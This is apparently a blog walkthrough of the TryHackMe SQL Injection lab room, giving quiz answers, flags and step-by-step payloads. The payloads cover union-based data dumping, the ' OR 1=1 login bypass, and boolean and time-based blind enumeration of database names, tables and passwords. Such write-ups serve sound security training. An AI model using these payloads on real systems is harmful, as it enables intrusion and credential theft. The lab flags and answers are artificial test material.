Tryhackme – SQL Injection

In this walk through, we will be going through the SQL Injection room from Tryhackme. This room is rated as medium on the platform and will teach us how to detect and exploit SQL Injection vulnerabilities. On that note, let’s get started.

Task 1 – Brief

Question 1 – What does SQL stand for?

Structured Query Language

Task 2 – What is a Database?

Question 1 – What is the acronym for the software that controls a database?

DBMS

Question 2 – What is the name of the grid-like structure which holds the data?

Table

Task 3 – What is SQL?

Question 1 – What SQL statement is used to retrieve data?

Select

Question 2 – What SQL clause can be used to retrieve data from multiple tables?

Union

Question 3 – What SQL statement is used to add data?

Insert

Task 4 – What is SQL Injection?

Question 1 – What character signifies the end of an SQL query?

 ;

Task 5 – In-Band SQLi

In-Band SQL Injection

In-Band SQL Injection is the easiest type to detect and exploit; In-Band just refers to the same method of communication being used to exploit the vulnerability and also receive the results, for example, discovering an SQL Injection vulnerability on a website page and then being able to extract data from the database to the same page.

Error-Based SQL Injection

This type of SQL Injection is the most useful for easily obtaining information about the database structure as error messages from the database are printed directly to the browser screen. This can often be used to enumerate a whole database. 

Union-Based SQL Injection

This type of Injection utilises the SQL UNION operator alongside a SELECT statement to return additional results to the page. This method is the most common way of extracting large amounts of data via an SQL Injection vulnerability.

Level one of the practice lab contains a mock browser and website featuring a blog with different articles, which can be accessed by changing the id number in the query string.

The key to discovering error-based SQL Injection is to break the code’s SQL query by trying certain characters until an error message is produced; these are most commonly single apostrophes ( ‘ ) or a quotation mark ( ” ).

Try typing an apostrophe ( ‘ ) after the id=1 and press enter. And you’ll see this returns an SQL error informing you of an error in your syntax. The fact that you’ve received this error message confirms the existence of an SQL Injection vulnerability. We can now exploit this vulnerability and use the error messages to learn more about the database structure.

The first thing we need to do is return data to the browser without displaying an error message. Firstly we’ll try the UNION operator so we can receive an extra result of our choosing. Try setting the mock browsers id parameter to:

1 UNION SELECT 1

This statement should produce an error message informing you that the UNION SELECT statement has a different number of columns than the original SELECT query. So let’s try again but add another column:

1 UNION SELECT 1,2

Same error again, so let’s repeat by adding another column:

1 UNION SELECT 1,2,3

Success, the error message has gone, and the article is being displayed, but now we want to display our data instead of the article. The article is being displayed because it takes the first returned result somewhere in the web site’s code and shows that. To get around that, we need the first query to produce no results. This can simply be done by changing the article id from 1 to 0.

0 UNION SELECT 1,2,3

You’ll now see the article is just made up of the result from the UNION select returning the column values 1, 2, and 3. We can start using these returned values to retrieve more useful information. First, we’ll get the database name that we have access to:

0 UNION SELECT 1,2,database()

You’ll now see where the number 3 was previously displayed; it now shows the name of the database, which is sqli_one.

Our next query will gather a list of tables that are in this database.

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

There are a couple of new things to learn in this query. Firstly, the method group_concat() gets the specified column (in our case, table_name) from multiple returned rows and puts it into one string separated by commas. The next thing is the information_schema database; every user of the database has access to this, and it contains information about all the databases and tables the user has access to. In this particular query, we’re interested in listing all the tables in the sqli_one database, which is article and staff_users.

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

This is similar to the previous SQL query. However, the information we want to retrieve has changed from table_name to column_name, the table we are querying in the information_schema database has changed from tables to columns, and we’re searching for any rows where the table_name column has a value of staff_users.

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') from staff_users

Again we use the group_concat method to return all of the rows into one string and to make it easier to read. We’ve also added ,’:’, to split the username and password from each other. Instead of being separated by a comma, we’ve chosen the HTML  tag that forces each result to be on a separate line to make for easier reading.

Question 1 – What is the flag after completing level 1?

THM{SQL_INJECTION_3840}

Task 6 – Blind SQLi – Authentication Bypass

Blind SQLi

Unlike In-Band SQL injection, where we can see the results of our attack directly on the screen, blind SQLi is when we get little to no feedback to confirm whether our injected queries were, in fact, successful or not, this is because the error messages have been disabled, but the injection still works regardless. It might surprise you that all we need is that little bit of feedback to successful enumerate a whole database.

Authentication Bypass

One of the most straightforward Blind SQL Injection techniques is when bypassing authentication methods such as login forms. In this instance, we aren’t that interested in retrieving data from the database; We just want to get past the login. 

Login forms that are connected to a database of users are often developed in such a way that the web application isn’t interested in the content of the username and password but more whether the two make a matching pair in the users table. In basic terms, the web application is asking the database “do you have a user with the username bob and the password bob123?”, and the database replies with either yes or no (true/false) and, depending on that answer, dictates whether the web application lets you proceed or not. 

Taking the above information into account, it’s unnecessary to enumerate a valid username/password pair. We just need to create a database query that replies with a yes/true.

select * from users where username='%username%' and password='%password%' LIMIT 1;

To make this into a query that always returns as true, we can enter the following into the password field:

' OR 1=1; --

Which turns the SQL query into the following:

select * from users where username='' and password='' OR 1=1;

Because 1=1 is a true statement and we’ve used an OR operator, this will always cause the query to return as true, which satisfies the web applications logic that the database found a valid username/password combination and that access should be allowed.

Question 1 – What is the flag after completing level two? (and moving to level 3)

THM{SQL_INJECTION_9581}

Task 7 – Blind SQLi – Boolean Based

Boolean Based

Boolean based SQL Injection refers to the response we receive back from our injection attempts which could be a true/false, yes/no, on/off, 1/0 or any response which can only ever have two outcomes. That outcome confirms to us that our SQL Injection payload was either successful or not. On the first inspection, you may feel like this limited response can’t provide much information. Still, in fact, with just these two responses, it’s possible to enumerate a whole database structure and contents.

On level three of the SQL Injection Examples Machine, you’re presented with a mock browser with the following URL:

https://website.thm/checkuser?username=admin

The browser body contains the contents of {“taken”:true}. This API endpoint replicates a common feature found on many signup forms, which checks whether a username has already been registered to prompt the user to choose a different username. Because the taken value is set to true, we can assume the username admin is already registered. In fact, we can confirm this by changing the username in the mock browser’s address bar from admin to admin123, and upon pressing enter, you’ll see the value taken has now changed to false.

As the only input, we have control over is the username in the query string, we’ll have to use this to perform our SQL Injection. Keeping the username as admin123, we can start appending to this to try and make the database confirm true things, which will change the state of the taken field from false to true.

Like in previous levels, our first task is to establish the number of columns in the users table, which we can achieve by using the UNION statement. Change the username value to the following:

admin123' UNION SELECT 1;--

As the web application has responded with the value taken as false, we can confirm this is the incorrect value of columns. Keep on adding more columns until we have a taken value of true. You can confirm that the answer is three columns by setting the username to the below value:

admin123' UNION SELECT 1,2,3;--

Now that our number of columns has been established, we can work on the enumeration of the database. Our first task is discovering the database name. We can do this by using the built-in database() method and then using the like operator to try and find results that will return a true status.

Try the below username value and see what happens:

admin123' UNION SELECT 1,2,3 WHERE database() like '%';--

We get a true response because, in the like operator, we just have the value of %, which will match anything as it’s the wildcard value. If we change the wildcard operator to a%, you’ll see the response goes back to false, which confirms that the database name does not begin with the letter a. We can cycle through all the letters, numbers and characters such as – and _ until we discover a match. If you send the below as the username value, you’ll receive a true response that confirms the database name begins with the letter s.

admin123' UNION SELECT 1,2,3 WHERE database() like '%';--

Now you move onto the next character of the database name until you find another true response, for example, ‘sa%’, ‘sb%’, ‘sc%’ etc. Keep on with this process until you discover all the characters of the database name, which is sqli_three.

We’ve established the database name, which we can now use to enumerate table names using a similar method by utilising the information_schema database. Try setting the username to the following value:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema='sqli_three' and table_name like 'a%';--

This query looks for results in the information_schema database in the tables table where the database name matches sqli_three, and the table name begins with the letter a. As the above query results in a false response, we can confirm that there are no tables in the sqli_three database that begin with the letter a. Like previously, you’ll need to cycle through letters, numbers and characters until you find a positive match.

You’ll finally end up discovering a table in the sqli_three database named users, which you can be confirmed by running the following username payload:

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema='sqli_three' and table_name='users';--

Lastly, we now need to enumerate the column names in the users table so we can properly search it for login credentials. Again using the information_schema database and the information we’ve already gained, we can start querying it for column names. Using the payload below, we search the columns table where the database is equal to sqli_three, the table name is users, and the column name begins with the letter a.

admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema='sqli_three' and table_name='users' and column_name like 'a%';--

Again you’ll need to cycle through letters, numbers and characters until you find a match. As you’re looking for multiple results, you’ll have to add this to your payload each time you find a new column name, so you don’t keep discovering the same one. For example, once you’ve found the column named id, you’ll append that to your original payload

admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema='sqli_three' and table_name='users' and column_name like 'a%' and column name !='id';--

Repeating this process three times will enable you to discover the columns id, username and password. Which now you can use to query the users table for login credentials. First, you’ll need to discover a valid username which you can use the payload below:

admin123' UNION SELECT 1,2,3 FROM users WHERE username like 'a%';--

Which, once you’ve cycled through all the characters, you will confirm the existence of the username admin. Now you’ve got the username. You can concentrate on discovering the password. The payload below shows you how to find the password:

admin123' UNION SELECT 1,2,3 FROM users WHERE username='admin' and password like 'a%';--

Cycling through all the characters, you’ll discover the password is 3845.

Question 1 – What is the flag after completing level three?

THM{SQL_INJECTION_1093}

Task 8 – Blind SQLi – Time Based

Time-Based

A time-based blind SQL Injection is very similar to the above Boolean based, in that the same requests are sent, but there is no visual indicator of your queries being wrong or right this time. Instead, your indicator of a correct query is based on the time the query takes to complete. This time delay is introduced by using built-in methods such as SLEEP(x) alongside the UNION statement. The SLEEP() method will only ever get executed upon a successful UNION SELECT statement.

So, for example, when trying to establish the number of columns in a table, you would use the following query:

tryhackme.com' UNION SELECT SLEEP(5);--

If there was no pause in the response time, we know that the query was unsuccessful, so like on previous tasks, we add another column:

tryhackme.com' UNION SELECT SLEEP(5),2;--

tryhackme.com' UNION SELECT SLEEP(5) where database() like 's%';--

• Database name: sqli_four

tryhackme.com' UNION SELECT SLEEP(5) from information_schema.tables WHERE table_schema='sqli_four' and table_name like 'user%'

tryhackme.com' UNION SELECT SLEEP(5) from information_schema.tables WHERE table_schema='sqli_four' and table_name='users';--

• Table name: users

tryhackme.com' UNION SELECT SLEEP(5) from information_schema.columns WHERE table_schema='sqli_four' and table_name='users' and column_name like 'usernam%';--

• Column Name found: username

tryhackme.com' UNION SELECT SLEEP(5) from information_schema.columns WHERE table_schema='sqli_four' and table_name='users' and column_name != 'username' column_name like 'passwor%';--

• Skipping column name previously found (Username) and getting new column name – password

• Bruteforcing Username

tryhackme.com' UNION SELECT SLEEP(5),2 FROM USERS where username like 'admin%';--

• Username found: admin

• Bruteforcing password

tryhackme.com' UNION SELECT SLEEP(5),2 FROM USERS where username='admin' password like '4961%';--

• Password found: 4961

Question 1 – What is the final flag after completing level four?

THM{SQL_INJECTION_MASTER}

Task 9 – Out-of-Band SQLi

Question 1 – Name a protocol beginning with D that can be used to exfiltrate data from a database.

DNS

Task 10 – Remediation

Question 1 – Name a method of protecting yourself from an SQL Injection exploit.

 Prepared Statements

Also Read: Tryhackme – Snort Challenge: Live Attacks

So that was “SQL Injection” for you. In this room, we have learned how to detect and exploit SQL Injection vulnerabilities. We have covered the exploitation of the SQL Injection from start to finish. We started off with basics like what a database is, then moved to the fundamentals of Structured Query Language (SQL). Post that, we understand what SQL Injection is and what are its types in detail. At last, we practiced the different types of injection by going through a series of tasks and ended the room with some remediation steps. On that note, i will take your leave but stay tuned for the next one and till then, remember to “Hack the planet”.